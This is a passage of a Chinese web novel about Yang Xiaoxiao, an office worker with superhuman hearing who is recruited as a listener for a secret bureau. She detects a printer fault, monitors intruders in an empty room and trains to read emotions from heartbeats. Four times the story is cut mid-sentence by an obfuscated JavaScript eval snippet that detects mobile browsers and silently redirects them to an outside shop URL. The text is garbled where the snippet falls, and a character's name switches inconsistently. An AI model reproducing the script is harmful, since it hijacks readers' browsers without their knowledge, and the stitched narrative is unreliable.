“小杨?进来进来。”老赵抬头看到她,招了招手,“这些是陈总监部门的报销单?” “是的赵主管。”杨晓晓把文件放在桌上,余光瞥见角落里那台大型激光打印机正在吐纸,发出有节奏的“唰——唰——”声。 等等。 杨晓晓的耳朵动了动。在那规律的吐纸声之下,还有一层极其细微的、几乎被掩盖的杂音。 像是……齿轮间卡了什么东西,每转动一圈就发出“咯”的一声轻响。 “小杨?”老赵看她愣神,又叫了一声。 “啊,抱歉。”杨晓晓回过神,指着打印机,“赵主管,那台打印机是不是该检修了?” 老赵回头看了一眼:“没有啊,早上才用过,好好的。怎么了?” “我好像听到有点杂音。”杨晓晓说得委婉,“可能是我的错觉……” 话没说完,打印机完成了当前任务,进入待机状态。那细微的杂音也随之消失了。 老赵笑了:“年轻人耳朵就是灵。不过应该没事,这台机器上个月才保养过。” 杨晓晓点点头,心里却隐隐不安。她对自己的听力越来越有信心——那绝对不是正常运转的声音。 回到工位后,她越想越不对劲。财务室那台打印机她知道,专门用来打印重要合同和财务报表,要是关键时刻卡纸或者出故障,耽误了正事可就麻烦了。 午休时,杨晓晓找了个借口又去了财务室。这次她特意站在打印机旁,假装整理旁边的文件架,耳朵却专注地捕捉机器的声音。 打印机正闲着,只有低沉的待机嗡鸣。杨晓晓等了五分钟,终于等到财务小刘来打印一份文件。 机器启动,预热,然后开始工作。 “唰——唰——咯。” “唰——唰——咯。” 那杂音又出现了,而且比早上更明显一些。 杨晓晓几乎能“听”出问题所在:某个传动齿轮上应该卡了小纸屑或者别的东西,随着使用,这东西正在慢慢磨损齿轮表面。现在还不严重,但再打印几十页,很可能就会造成卡纸或者更严重的故障。 “小刘姐,”她忍不住开口,“这台打印机真的有点问题。” 小刘推了推眼镜:“是吗?我没听出来啊。” “您仔细听,每打印两页,就有一声很轻的‘咯’。” 小刘侧耳听了一会儿,摇摇头:“听不见。晓晓,你是不是太敏感了?” 杨晓晓欲言又止。她总不能说“我的听力是普通人的十倍”吧? 下午两点,机会来了。公司重要合作伙伴要来签合同,财务室需要打印三份共一百多页的合同文件。杨晓晓得知这个消息后,坐立不安。 “不行,得做点什么。”她对自己说。 她找到行政部的设备管理员小郑:“郑哥,财务室的打印机好像不太对劲,能去看看吗?” 小郑正在整理维修单,头也不抬:“报修了吗?没报修单我不好去啊。” “可是现在财务室要打印重要合同,万一中途卡纸……” “那也没办法,流程就是流程。”小郑耸肩,“要不你让赵主管填个报修单?” 杨晓晓咬咬牙,转身跑回财务室。老赵正忙得焦头烂额,听说要填报修单,眉头皱得能夹死苍蝇:“小杨,不是我不信你,但这节骨眼上,打印机停了更麻烦。等打完合同再说吧。” “可是赵主管——” “好了好了,我知道你担心,但咱们也得按实际情况来。”老赵摆摆手,示意她别说了。 杨晓晓站在财务室门口,看着那台打印机已经预热完毕,准备开始工作。她脑子里飞快转动:怎么办?直接拔电源?那肯定不行。大声说打印机要坏了?谁会信? 就在她焦急万分时,陈树从走廊那头走了过来。 “周总监!”杨晓晓像看到救星。 周子扬停下脚步:“什么事?” 杨晓晓压低声音,语速飞快:“财务室打印机有故障,马上要打印重要合同,我担心会出问题。但是赵主管觉得我小题大做。” 周子扬看了她一眼,又看了看财务室里已经启动的打印机:“你确定?” “我确定。”杨晓晓用力点头,“我听到齿轮有杂音,应该卡了东西。” 周子扬沉默了两秒。这两秒对杨晓晓来说长得像一个世纪。 “跟我来。”他转身走向财务室。 老赵看到周子扬进来,连忙起身:“周总监,有什么指示?” “听说打印机可能有问题,”周子扬语气平静,“合同打印先暂停一下,让维修部检查。” “这……”老赵为难,“合作方还有半小时就到了。” “如果打印中途卡纸,耽误的时间更多。”周子扬说着,已经走到打印机旁,按下了关机键。 杨晓晓松了口气。 维修部的小郑被紧急叫来,听说周总监亲自要求检查,也不敢怠慢,立刻拿出工具开始拆卸打印机外壳。 财务室里围了几个人,大家都好奇地看着。老赵抱着手臂站在一旁,脸色不太好看——他显然觉得这是小题大做。 “周总监,打印机这种东西有点声音正常,”老赵忍不住说,“咱们以前也不是没遇到过……” 话音未落,小郑惊呼一声:“找到了!” 他从打印机深处用镊子夹出一小片碎纸屑,只有指甲盖大小,但边缘已经磨损发黑。 “就是这个卡在齿轮中间了。”小郑展示给大家看,“再打印几十页,这纸屑可能会被卷进更深的位置,到时候就不是简单清理能解决的了,得换零件。” 财务室里一片安静。 老赵的脸色由阴转晴,又由晴转惊:“还真有问题啊?” 小郑一边重新组装打印机,一边说:“这毛病不拆开都发现不了。周总监,您是怎么知道的?” 所有人的目光都集中在周子扬身上。 周子扬侧身,看向站在门口的杨晓晓:“不是我,是她。” 刷地一下,所有人的视线又转向杨晓晓。 “我、我就是听到声音不对。”杨晓晓脸红了,“我对声音比较敏感。” “何止是敏感,”小郑感叹,“这都能听出来,简直是顺风耳啊!” “顺风耳晓晓!”小王不知什么时候也凑了过来,起哄道,“这个外号好!” 杨晓晓哭笑不得:“别别别,我就是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191461|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是什么就是,”王姐也来了,笑着拍她肩膀,“咱们晓晓就是厉害!上次奶茶,这次打印机,你这耳朵是开过光吧?” 大家哄笑起来。杨晓晓脸更红了,但心里暖暖的。 周子扬看着被围在中间的杨晓晓,嘴角微不可察地扬了扬,转身离开了财务室。 打印机很快修好,合同顺利打印。合作方准时到达,签约过程一切顺利。事后,老赵特意找到杨晓晓,塞给她一盒巧克力。 “小杨,今天多亏你了,”老赵诚恳地说,“不然真在签约时打印机出问题,那丢人就丢大了。” “赵主管您太客气了,我就是凑巧听到。”杨晓晓推辞。 “什么凑巧,这是本事。”老赵坚持让她收下,“以后财务室的设备,还得靠你这‘顺风耳’多把关呢!” “顺风耳晓晓”这个外号,就这样在办公室里传开了。 杨晓晓一开始还试图纠正,但大家叫得欢,她也就随它去了。反正只是个玩笑,无伤大雅。 但她没注意到,周子扬偶尔看她的眼神里,多了几分深思。 周五下班时,杨晓晓又在电梯里遇到了周子扬。 狭小的空间里只有他们两人,气氛有点尴尬。杨晓晓盯着电梯楼层数字,假装研究上面的划痕。 “你那个听力,”周子扬突然开口,“是一直这么好吗?” 杨晓晓心里一紧:“也、也不是,就是最近比较注意听各种声音。” “哦?”周子扬侧头看她,“怎么突然开始注意了?” 杨晓晓脑子飞快转动:“就是……上次帮李姐订奶茶,发现听声音能判断店铺忙不忙。后来就下意识多听听周围的声音,还挺有意思的。” 电梯到了地下停车场,门开了。 周子扬先走出去,走了两步又停下来:“有意思的能力,好好利用。” 说完,他走向自己的车位,留下杨晓晓站在电梯口,琢磨着这句话是什么意思。 好好利用? 难道他猜到什么了? 杨晓晓摇摇头,把这个念头甩出脑海。不可能的,这么离谱的事情,正常人谁会往超能力上想? 她走向公交站,心情却不像表面上那么平静。 周子扬这个人,看似冷淡,其实观察力敏锐得可怕。在他面前,得更加小心才行。 不过……杨晓晓又想起今天大家叫她“顺风耳晓晓”时,陈树那个几乎看不见的笑容。 也许,他并不介意她有点“特别”? 这个想法让她稍微放松了些。 回到家,杨晓晓把那盒巧克力拆开,给了室友几颗,自己含着一颗躺在沙发上。 甜意在舌尖化开,她闭上眼睛,任由听力自然地扩散出去。 楼下的猫在叫,隔壁夫妻在看电视,楼上小孩在练钢琴,远处街道有救护车驶过…… 这个嘈杂的世界,对她来说,突然变得清晰而有层次。 也许,这个能力真的可以“好好利用”。 不只是订奶茶,也不只是听打印机。 杨晓晓睁开眼睛,看着天花板,第一次认真思考:如果这真的是某种超能力,她到底能用它做什么? 想着想着,她睡着了,梦里全是各种各样的声音,像一首奇妙的交响乐。 而现实中的她不知道,真正的“小试炼”,才刚刚开始。 22. 夜班惊魂:谁在空房间? 加班的第九个晚上,杨晓晓觉得自己快要和办公室的绿萝产生共生关系了。 晚上十点二十三分,整个三楼只剩下她工位上这一盏台灯还亮着。项目档案整理才完成三分之二,按照陈树的要求,明天早上必须交——这意味着她至少要熬到凌晨两点。 “哈——”她打了个绵长的哈欠,眼泪都挤出来了,起身去茶水间冲今晚的第四杯速溶咖啡。 走廊里的感应灯随着她的脚步一盏盏亮起,又在身后次第熄灭。深夜的公司像一头沉睡的巨兽,只有中央空调发出低沉的嗡鸣,和她自己拖鞋摩擦地面的“沙沙”声作为背景音。 突然,她停住了。 不是空调,不是她的脚步声。 是从304室传来的。 杨晓晓瞬间清醒了。她维持着去茶水间的姿势,一只脚还悬在半空,整个人像被按了暂停键。 自从一个月前发现自己能听见304室的异常“滴”声,她就一直在等。等那个声音再次出现,等她能捕捉到更多信息,等陈树下达下一步指令。这期间她完成了基础监听训练,学会了用录音笔和简易频谱分析软件,甚至能在嘈杂环境下勉强分辨出十五米外的低声对话。 但304室一直很安静,安静得像一间普通的、堆放杂物的闲置办公室。 直到现在。 她轻轻放下脚,屏住呼吸,将听力集中到走廊尽头那扇贴着“304 备用资料室”的门后。 “滴。” 清晰,短促,带着某种电子设备特有的冰冷质感。和一个月前一模一样。 但不止。 还有别的——极轻极轻的键盘敲击声,像是用指腹而非指尖触碰按键,速度很快,带着盲打的流畅节奏。以及……一个人的呼吸声。 平稳,缓慢,显然是在刻意控制。 杨晓晓的后颈汗毛竖了起来。她踮着脚尖退回办公室,轻轻关上门,背靠在门板上,心跳如擂鼓。 304室有人。 在深夜十点二十三分的空置办公室里,有人在使用电子设备,还在刻意控制呼吸。 她脑海里闪过陈树的话:“你的任务就是监听和报告,不要擅自行动,不要打草惊蛇。” 杨晓晓深吸一口气,走到工位前,从抽屉里取出特制的加密录音笔——这是上周陈树给她的,外观和普通录音笔无异,但存储和传输都经过特殊处理。她按下录音键,将灵敏的麦克风对准304的方向。 同时,她拿出手机,拨通了陈树的加密线路。 电话只响了一声就接通了。 “说。”陈树的声音清醒而简洁,背景音很安静。 “陈老师,304有动静。”杨晓晓压低声音,语速却很快,“电子提示音,键盘敲击声,还有一个人的呼吸声。现在正在进行。” 电话那头沉默了两秒,只有轻微的键盘敲击声——陈树应该也在电脑前。 “录音了吗?” “正在录。” “好。继续监听,记录所有声音的时间点和特征。”陈树的声音很平稳,“不要靠近,不要开304方向的门窗,保持你现在的状态。对方可能也有反监听意识。” “明白。”杨晓晓感觉手心有点出汗,“键盘声很轻,像笔记本键盘或者静音薄膜键盘。呼吸声平稳但刻意放缓,间隔大约四秒一次,深度均匀。” “嗯。”陈树似乎在记录,“现在呢?” 杨晓晓凝神倾听。 键盘敲击持续了大约两分钟,然后停了。 三十秒后。 “滴。” 又一声电子提示音。 “刚才停了三十秒,现在又有一声‘滴’。”她小声汇报,“键盘声还没恢复。” “可能是数据传输或者设备自检的间隔。”陈树沉吟,“继续听。” 杨晓晓戴上监听耳机,将录音笔的灵敏度调到最高。她的心跳渐渐平复下来,注意力完全集中在声音上——这是训练的结果,越是紧张,越要专注。 时间一分一秒过去。 22:28 键盘声恢复,持续三分钟。 22:31:30 “滴” 22:33 轻微的摩擦声,像移动椅子。 22:34-22:36 键盘声 22:36:30 “滴” 22:38 键盘声停了。 然后是长达两分钟的寂静。 杨晓晓在本子上快速记录,笔尖划过纸张发出沙沙声。她忽然意识到这个声音可能被听到,立刻停下,改用手机备忘录打字记录。 22:40。 脚步声。 很轻,从304室深处往门口移动。 杨晓晓屏住呼吸。 脚步声在门口停了。然后是门把手被轻轻转动的声音——304的门锁一个月前就被她“不小心”弄坏了,行政部还没来修,这是陈树特意安排的。 门开了。 脚步声走出304,在走廊里停顿了几秒。 杨晓晓的心脏几乎跳到嗓子眼。她下意识地缩到办公桌下面,尽管知道隔着一堵墙和二十多米距离,对方不可能看到她。 脚步声开始移动。 不是往楼梯方向,而是……往她这边? 杨晓晓捂住嘴,强迫自己继续监听。脚步声很慢,很轻,像在试探什么。一步,两步,三步—— 停在了她办公室斜对面的消防栓前。 然后是塑料摩擦的细微声响。对方在动消防栓?不,消防栓是嵌在墙里的,动不了。那是什么? 几秒钟后,脚步声再次响起,这次是往楼梯方向去了。 下楼的声音:三楼到二楼,二楼到一楼,然后—— 停了。 不是离开大楼,而是停在一楼大厅的某个位置。 杨晓晓迅速打字记录,然后对着手机小声说:“他下楼了,停在一楼,没出去。” “知道了。”陈树的声音依然平静,“继续监听一楼,同时注意304是否还有其他动静。” “明白。” 接下来是漫长的十分钟。一楼偶尔传来极轻微的声响——像是布料摩擦,像是手指划过墙壁,但再没有脚步声。 就在杨晓晓以为对方可能已经悄悄离开时—— “滴。” 从304再次传来。 还有键盘敲击声。 杨晓晓愣住了。那人不是下楼了吗?304怎么还有声音? 她将听力集中到一楼,那个轻微的呼吸声还在。再集中到304,键盘敲击确实在进行。 两个人? “陈老师,”她压低声音,几乎在用气声说话,“304又响了,但一楼那个人还在。可能……不止一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191462|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人?” 电话那头的陈树沉默了几秒。 “可能是一人操作,另一人望风或干扰。”他说,“也可能有设备留在304自动运行。继续监听,重点记录声音差异。” 杨晓晓强迫自己冷静下来,将注意力分成两部分:一楼的轻微动静,和304的键盘敲击。 她发现了一个区别:304的键盘敲击节奏和之前略有不同,速度稍慢,敲击力度更均匀。而呼吸声——304的呼吸声稍微急促一些,不像之前那么刻意平稳。 不同的操作习惯?不同的人? 22:55,304的键盘声再次停止。 “滴。” 然后是完全的寂静。 一楼的轻微动静也在同一时间停止了。 杨晓晓等了五分钟,什么声音都没有。她正要汇报,陈树的声音从电话里传来: “可以了,停止录音。整理记录,正常下班。” “啊?”杨晓晓愣了,“可是他们可能还在——” “已经离开了。”陈树说,“从你刚才没注意到的通道。现在,关掉录音笔,收拾东西,像往常一样下班。不要表现出异常。” 杨晓晓虽然满心疑问,但还是照做了。她保存录音文件,关闭设备,整理桌面,关掉台灯,背上包走出办公室。 走廊一片漆黑,感应灯随着她的脚步亮起。经过304时,她下意识地看了一眼——门虚掩着,和她一个月前“弄坏”门锁时的状态一样。 她没停留,径直下楼。 一楼大厅空无一人,保安室的灯亮着,值夜班的保安大叔正在看手机。见到杨晓晓,他抬头打了个招呼:“小杨又加班这么晚啊?” “嗯,项目赶进度。”杨晓晓努力让声音听起来正常,“王叔辛苦了。” “路上小心啊。” 走出公司大楼,夜风带着凉意吹在脸上。杨晓晓站在公交站,等最后一班夜班车。她拿出手机,看到陈树发来的加密消息: “记录和录音明天带到训练室。今晚表现合格,但分区监听能力有待加强。回去休息。” 合格。 杨晓晓看着这个词,不知为何松了口气。她又想起刚才躲到桌下的那一瞬间,有点羞愧——作为特保局的预备监听员,她应该更镇定才对。 但陈树说“合格”。 公交车来了,空荡荡的车厢。杨晓晓坐在靠窗位置,看着窗外流逝的夜色,脑子里复盘今晚的所有细节: 键盘敲击的节奏变化、呼吸声的差异、一楼那奇怪的停顿、消防栓前的塑料摩擦声…… 以及最核心的问题:304室里到底有什么?那些人在做什么? 她不知道答案。 但她知道,从今晚开始,她不再是那个只是“听力好点”的普通职员了。她在真正的监听任务中捕捉到了关键信息,完成了汇报,得到了“合格”的评价。 手机又震动了一下,是陈树发来的明日训练安排:“上午9点,训练室3号,心跳监听专项训练。” 心跳监听? 杨晓晓眨眨眼,忽然有点期待。 夜班车在空旷的街道上平稳行驶,载着这个刚完成第一次真正监听任务的女孩,驶向城市的另一头。而在她不知道的地方,关于今晚304室的所有数据,正在被分析、比对、归档。 这只是开始。 23. 陈树的特别训练:听心跳 第二天上午九点整,杨晓晓准时出现在特保局地下训练区的3号训练室。 推开门,她愣了一下。 房间比她想象中小,大约只有二十平米,四壁和天花板都覆盖着厚厚的灰色吸音材料,地面是软质橡胶。房间中央摆着两把椅子,除此之外空无一物。灯光是柔和的暖白色,不刺眼但也谈不上温馨。 陈树已经坐在其中一把椅子上,穿着简单的黑色训练服,手里拿着平板电脑。见到杨晓晓,他点点头:“关门。” 杨晓晓关上门,瞬间感觉外界的声音被隔绝了大半——这房间的隔音效果比她公司那间临时监听室强太多了。 “坐。”陈树指了指对面的椅子。 杨晓晓坐下,把背包放在脚边。她昨晚回去后只睡了五个小时,但此刻精神还不错,大概是肾上腺素还没完全消退。 “昨晚的录音和记录分析过了。”陈树开门见山,将平板转向她,“304的键盘敲击有两种模式,你听出来了,很好。但呼吸声的差异你判断有误——是同一个人,只是在不同时间段的呼吸控制程度不同。” 屏幕上显示着声波图谱和分析数据,杨晓晓看得半懂不懂。 “一楼的那个人在消防栓前放置了微型干扰器,所以你后来听到的声音有轻微失真。”陈树继续道,“这是常用的反监听手段,你需要学会识别。” 杨晓晓认真点头:“明白了。” “今天开始专项训练。”陈树放下平板,“你的听力范围和精度已经达标,但解析能力不足。能听到心跳,但能听出心跳背后的情绪吗?” “情绪?”杨晓晓眨眨眼,“心跳能听出情绪?” “心跳速率、节律变化、血液流动的细微声音、甚至肌肉的微颤——这些组合起来,能反映一个人的生理状态,而生理状态与情绪直接相关。”陈树站起身,“第一课:隔着这堵墙,听我的心跳,判断我的情绪。” 他走到房间一侧,推开一扇杨晓晓刚才没注意到的暗门,进入相邻的房间。门关上,两间房完全隔开。 杨晓晓盯着那面墙,深吸一口气,将听力集中过去。 她听到了——陈树的心跳。平稳,有力,每分钟大约68次,非常标准。 “现在呢?”陈树的声音从墙上的通话器传来。 “平稳……放松?”杨晓晓试探地说。 “具体点。” “心跳速率68,节律整齐,血液流动声音均匀,没有异常肌肉颤动。应该是……平静状态。” “正确。”陈树说,“现在,继续听。” 杨晓晓凝神。几秒钟后,她察觉到变化——心跳加速了,到了72、75、78……还在上升。节律依然整齐,但血液流动的声音稍微急促了一些。 “心跳在加快,”她说,“现在大约80,还在上升。您……在运动?还是紧张?” “继续。” 心跳到了85左右稳定下来。杨晓晓仔细分辨,发现除了速率变化,还有别的——心脏收缩的力度似乎增强了,血液冲击血管壁的声音更清晰。 “不像是紧张……紧张时通常会有轻微节律不齐,您这个很整齐。”她分析着,“像是……期待?或者专注?” 通话器里传来陈树的声音:“我在看一份很重要的数据报告,需要高度专注。继续。” 杨晓晓点头,继续监听。心跳维持在85左右大约一分钟,然后开始下降,回到78,72,最后回到68。 接着,又一轮变化开始了——这次心跳加速更快,短短十秒就从68跳到了90,而且节律出现了轻微的不规则。 “这次不一样,”杨晓晓皱眉,“加速很快,节律有轻微波动,血液流动声音……有点乱?您这是——” 她忽然想到一种可能:“惊恐?或者看到了吓人的东西?” 话音未落,暗门开了。 陈树走出来,手里拿着一张……恐怖电影海报? 杨晓晓愣住了。 “《午夜凶铃》重制版海报,我刚在手机上看预告片。”陈树面无表情地说,但杨晓晓分明看到他的嘴角有一丝几乎不可察觉的抽动,“你判断对了。” 杨晓晓张了张嘴,半天才说:“陈老师,您……怕恐怖片?” “生理反应,不代表恐惧。”陈树把海报卷起来,“继续训练。这次我会模拟不同情境,你需要判断是哪种情绪,以及强度等级。” 接下来的两个小时,杨晓晓经历了各种心跳: 有愤怒时的心跳— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191463|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —速率高,收缩强力,伴随细微的肌肉紧绷声。 有悲伤时的心跳——速率偏低,节律沉闷,血液流动仿佛变缓。 有喜悦时的心跳——轻快,有力,像在跳舞。 还有说谎时的心跳——速率突然变化,节律短暂紊乱后强制恢复平稳,但血液流动的声音会暴露紧张。 到训练结束时,杨晓晓觉得自己快虚脱了。高度集中精神解析这些细微差异,比连续加班三晚还累。 “今天就到这里。”陈树看了眼时间,“下午整理训练记录,写分析报告。明天继续。” 杨晓晓揉着太阳穴:“陈老师,这些……在实际任务中真的用得上吗?” “上周的便利店劫持事件,”陈树突然说,“如果你能准确判断劫匪的情绪状态,就能提前三十秒预警他可能采取过激行为。监听不只是听内容,更是听状态,听意图。” 杨晓晓想起那天,她确实听到了劫匪心跳加速,但只以为是紧张,没进一步分析。 “我明白了。”她认真地说。 陈树点点头,走到门口又停下:“对了,你昨天说想喝奶茶又怕长胖?” 杨晓晓一愣:“啊?是说过……” 陈树从口袋里掏出一张小卡片递给她:“局里合作的营养师,可以做低卡定制。工作需要保持体能,但没必要完全牺牲个人喜好。” 杨晓晓接过卡片,看着上面“特供合作方”的钢印,心里涌起一股暖意。 “谢谢陈老师。” “下班前把报告交给我。”陈树说完就离开了。 杨晓晓坐在训练室里,看着手里的营养师卡片,又看看那面厚厚的隔音墙。 她忽然笑了。 这个看似冷硬的训练,这种从心跳听情绪的奇怪技能,还有那个会看恐怖片预告、会记得她想喝奶茶的严肃上司—— 这一切都荒诞又真实。 她站起身,收拾东西准备离开。走到门口时,她突然转身,对着空荡荡的训练室小声说: “其实您刚才看预告片时,除了心跳,我还听到您咽了两次口水。那也是紧张的表现哦。” 当然,陈树已经听不到了。 但杨晓晓觉得,自己好像开始喜欢上这份工作了。 24. 茶水间遇袭(?) 周一早晨的茶水间,弥漫着咖啡的香气和低低的交谈声。 杨晓晓端着马克杯走进去时,正好听到王姐和人事部的小张在角落小声说话。她本来没在意——最近她已经学会了主动屏蔽这类闲聊,专心准备接水冲速溶咖啡。 但耳朵还是不自觉地捕捉到了自己的名字。 “……裁员名单可能有杨晓晓。” 王姐的声音压得很低,但在杨晓晓耳中清晰得像是在耳边说的。 她的手一抖,热水差点洒出来。 “真的假的?”小张的声音带着惊讶,“晓晓不是刚转正没多久吗?” “听说上面要精简人员,新项目预算吃紧。”王姐叹气,“咱们部门可能也要裁一两个,晓晓资历最浅……” 后面的话杨晓晓没听清。她的耳朵嗡嗡作响,脑子里一片空白。 裁员? 她下意识地摸了摸口袋里的特保局临时证件——那个冰凉的小卡片提醒着她,她还有另一重身份,另一份工资。国安局那边确实给她发工资,陈树说过特保局会负责她的基本保障。 但深蓝科技这份工作呢?如果被裁掉,她就少了一份表面身份,少了一个监听据点。而且……她确实需要这份工作来维持正常生活的表象啊,房租、水电、日常开销,还有那份普通生活的踏实感…… “晓晓?”王姐注意到她,立刻停下话题,换上笑容,“来接水啊?” “嗯、嗯。”杨晓晓勉强挤出一个笑容,手指僵硬地操作咖啡机。 小张尴尬地咳嗽一声:“那我先回去了,王姐,那个报表我下午给你。” “好。” 小张匆匆离开,茶水间里只剩下杨晓晓和王姐。空气突然变得粘稠而尴尬。 “晓晓,刚才我们……”王姐试图解释。 “没事,我什么都没听到。”杨晓晓打断她,声音干巴巴的。 她接满水,转身就走,甚至忘了加糖加奶——那杯黑咖啡在她手里微微颤抖。 回到工位,杨晓晓盯着电脑屏幕,一个字都看不进去。她努力告诉自己:别慌,陈树说过特保局会保障她的基本生活,就算这边被裁了,她也不会流落街头。 可是……可是她需要这个身份啊。她需要用“深蓝科技行政助理杨晓晓”这个身份来掩护监听任务,需要用这份表面工作来维持正常的人际关系,需要用它来向朋友解释自己每天都在做什么。 而且,她是真的喜欢这份工作——虽然琐碎,虽然经常要加班,但公司里的人都挺好,王姐刀子嘴豆腐心,同事们也友善。更重要的是,这是她“普通生活”的一部分,是她作为“正常人”的证明。 “晓晓?”旁边工位的小林探头过来,“你脸色好差,不舒服吗?” “没、没事。”杨晓晓低头,假装整理文件。 一上午,她都心神不宁。好几次打错字,送文件送错楼层,甚至给复印机加纸时把整包纸撒了一地。 “杨晓晓。”王姐第三次叫她,眉头已经皱了起来,“你这状态不对啊。是不是家里有什么事?” “对不起王姐,我马上收拾。”她手忙脚乱地捡起散落的纸张。 王姐走过来,蹲下帮她一起捡,压低声音:“是不是听到什么了?” 杨晓晓动作一顿。 “茶水间的话,别往心里去。”王姐把一沓纸递给她,“都是瞎传的,还没定论。再说了,你工作这么认真,上周还提前发现打印机问题,领导都看在眼里。” 这话本意是安慰,但杨晓晓心里更乱了——如果裁员是真的,如果她真的会被裁…… 中午,她没去食堂,一个人坐在工位上,盯着那盆绿萝发呆。上午心神不宁时,她给绿萝浇了整整一大杯水,现在花盆底部都溢出来了,泥土湿漉漉的,叶子也耷拉着。 就像她现在的心情。 手机震动了一下。 杨晓晓拿起来看,是陈树发来的加密消息:“听说你状态不对?需要请假休息吗?” 她犹豫了一下,回复:“陈总监,深蓝科技这边可能要裁员……我会受影响吗?” 消息发出去,她盯着屏幕,心跳有点快。 几秒后,回复来了:“别慌。深蓝科技不会裁你,我们付你工资。” 简单直接的一句话,却像定心丸。 杨晓晓盯着那句话看了好几遍,深吸一口气,又慢慢呼出来。对啊,她是特保局派来的人,特保局给深蓝科技付钱让她在这里工作,怎么会让她被裁掉? “可是……”她还是有点不放心,“如果公司真要裁员,你们能干涉吗?” 这次陈树直接打来了电话。 杨晓晓连忙跑到楼梯间接通。 “你的档案在深蓝科技那边是正式员工,但你的工资实际上是从特保局的特别账户走。”陈树的声音很平静,“简单说,深蓝科技不用为你付一分钱,反而能拿到一笔‘人才推荐费’。他们裁谁都不会裁你,除非我们要求你撤出。” 杨晓晓愣了愣:“所以……我其实是个‘关系户’?” 电话那头传来陈树轻笑的声音:“可以这么说。所以把心放回肚子里,好好工作,好好训练。你的主要任务是监听,行政工作只是掩护——但掩护也要做得像样,明白吗?” “明白!”杨晓晓用力点头,虽然陈树看不见。 挂断电话,她感觉整个人都轻松了。回到工位,她看着那盆快要淹死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191464|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的绿萝,忍不住笑了。 “对不起啊,小家伙。”她小声说,赶紧把多余的水倒掉,用纸巾吸干土壤表层,又把花盆搬到窗边通风,“吓到你了,也吓到我了。” 下午的工作,杨晓晓恢复了正常状态。王姐看她精神好了,也松了口气。 “这就对了嘛,”王姐拍拍她的肩,“年轻人要有抗压能力。再说了,就算真有什么事,天也塌不下来。” “嗯,谢谢王姐。” 下班前,杨晓晓收到特保局的工资到账短信——这是她作为“临时工作人员”的津贴,金额比深蓝科技的工资还要高一些。她看着那个数字,心里踏实了不少。 原来,她真的是有保障的。 晚上回到租住的小公寓,杨晓晓给自己煮了碗泡面,加了个鸡蛋和几片青菜。她坐在窗边的小桌前,一边吃一边看着窗外的城市夜景。 这座城市很大,有无数人像她一样,在为自己的生活打拼。有些人可能会因为裁员而焦虑,有些人可能会因为各种不确定而惶恐。 而她,虽然是这芸芸众生中的一员,却又有那么一点不同。 她有特殊的能力,有特别的任务,有另一重身份,也有另一份保障。 手机又震动了一下,是陈树发来的明日训练安排:“晚上七点,训练场3号,团队配合演练。” 杨晓晓回复:“收到。” 然后她站起来,走到窗边,伸了个懒腰。 窗外的城市灯火通明,车流如织。在某个不起眼的小公寓里,一个有着特殊听力的女孩,正在慢慢适应她的双重生活。 她有普通人的烦恼,也有不普通的任务。 她有需要保护的身份,也有保护她的组织。 “问题不大。”她对自己说,然后笑了。 是啊,船到桥头自然直。她有工作,有收入,有能力可以帮助别人。 这就够了。 第二天,杨晓晓精神饱满地去上班。那盆绿萝经过一夜通风,重新挺立起来,叶子在晨光中绿油油的。 她走到窗边,轻轻摸了摸绿萝的叶子。 “你也活过来了?”她小声说,“那我们继续吧。” 今天的工作,好像比往常更有干劲了呢。 而在她不知道的地方,陈树正在审阅一份报告——关于深蓝科技人事变动的分析。报告最后有一行备注:“杨晓晓的身份掩护工作稳定,无暴露风险。建议继续维持现有安排。” 陈树签上字,合上文件夹。 窗外的阳光正好,又是一个普通的工作日。 对大多数人来说是如此。 但对某些人来说,每个普通的日子,都可能藏着不普通的使命。 25. 正式介绍:你的未来队友 周三下午四点,杨晓晓刚结束在深蓝科技的工作,就收到了陈树的加密消息:“六点前到总部B6层会议室。着便装,有正式安排。” 她看了眼时间,快速收拾东西。经过王姐工位时,王姐抬头看她:“晓晓,今天走得这么早?” 